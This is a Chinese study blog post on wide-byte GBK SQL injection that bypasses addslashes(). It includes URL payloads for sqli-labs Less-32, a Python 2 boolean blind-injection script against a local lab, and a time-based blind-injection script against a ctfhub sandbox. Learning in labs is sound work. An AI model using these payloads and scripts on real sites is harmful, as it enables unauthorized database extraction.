宽字节注入
先列举一下基本的url编码
明文 | url编码 |
---|---|
空格 | %20 |
’ | %27 |
# | %23 |
\ | %5c |
addslashes函数:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(")
- 反斜杠(\)
- NULL
如何从addslashes函数中逃逸出来:
一:在\前面再加一个 \ (或单数个),变成\\’ ,这样\就被转义了,‘逃出了限制
二:把\弄没,在mysql使用GBK编码的时候,会认为两个字符是一个汉字(前面一个ASCII码要大于128,才到达汉字的范围)
汉字为两个字符
\'的编码为%5c%27
我们在 ’ 前加%df后变为%df\’
即为%df%5c%27,进行GBK解码后为
变为了運’,成功绕过了。
进行实验
实验环境:sqlilabs-less-32
本地搭建的靶机关于宽字节注入的题莫名其妙不能用了,又到虚拟机搭建了sqli-labs,花了一段时间。哭了
开始进行测试了!!!
?id=1%27--+
发现是用了addslashes() 函数,使用%df试试
?id=1%df%27--+
说明是GBK编码,可以注入了。
?id=-1%df%27 union select 1,2,3--+
用union联合注入即可,后面有一点要注意,就是where table_name=’ '的单引号不能使用,要使用另一种方法:十六进制
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
脚本编写
学习写python脚本了,sqlmap并不是万能的,学习了一上午,发现requests库的知识太多了,慢慢来吧
实验环境:sqlilabs-less-8
先写最简单的布尔盲注的脚本,首先需要python的requests库,pip下载即可
import requests
dic = 'abcdefghijklmnopqrstuvwsyz'
database = ''
for x in xrange(1,10):
for i in dic:
url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr(database(),%d,1)='%c'--+" %(x,i)
try:
response = requests.get(url,timeout = 5)
if response.content.find('You are in...........') != -1:
database = database + i
print database
break
except Exception,e:
pass
print database
最主要的是这个判断,若找到You are in…就不为-1,执行下面语句。若没有找到就为-1,不执行if语句。
if response.content.find('You are in...........') != -1:
接下来更改url句子即可
url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),%d,1)='%c'--+" %(x,i)
limit 0,1也可用一层循环,我这里就不在演示了。总之python脚本使用起来更加灵活,还是应该好好写一写的。
补充一下时间盲注的脚本: 我当时在做ctfhub时的脚本
# coding:utf-8
import requests
import datetime
import time
# 获取长度
def database_len():
for i in range(1, 10):
url = "http://challenge-658030cd43d1aad1.sandbox.ctfhub.com:10080/"
payload = "?id=1 and if(length(database())>%d,sleep(3),0)" %i
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
print(i)
else:
print("no")
break
print('database_len:', i)
database_len()
# 获取数据库名
def database_name():
name = ''
for j in range(1, 9):
for n in '0123456789abcdefghijklmnopqrstuvwxyz':
url = "http://challenge-658030cd43d1aad1.sandbox.ctfhub.com:10080/"
payload = "?id=1 and if(substr(database(),%d,1)='%s',sleep(2),1)" % (j, n)
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
name += n
print(name)
break
print('database_name:', name)
database_name()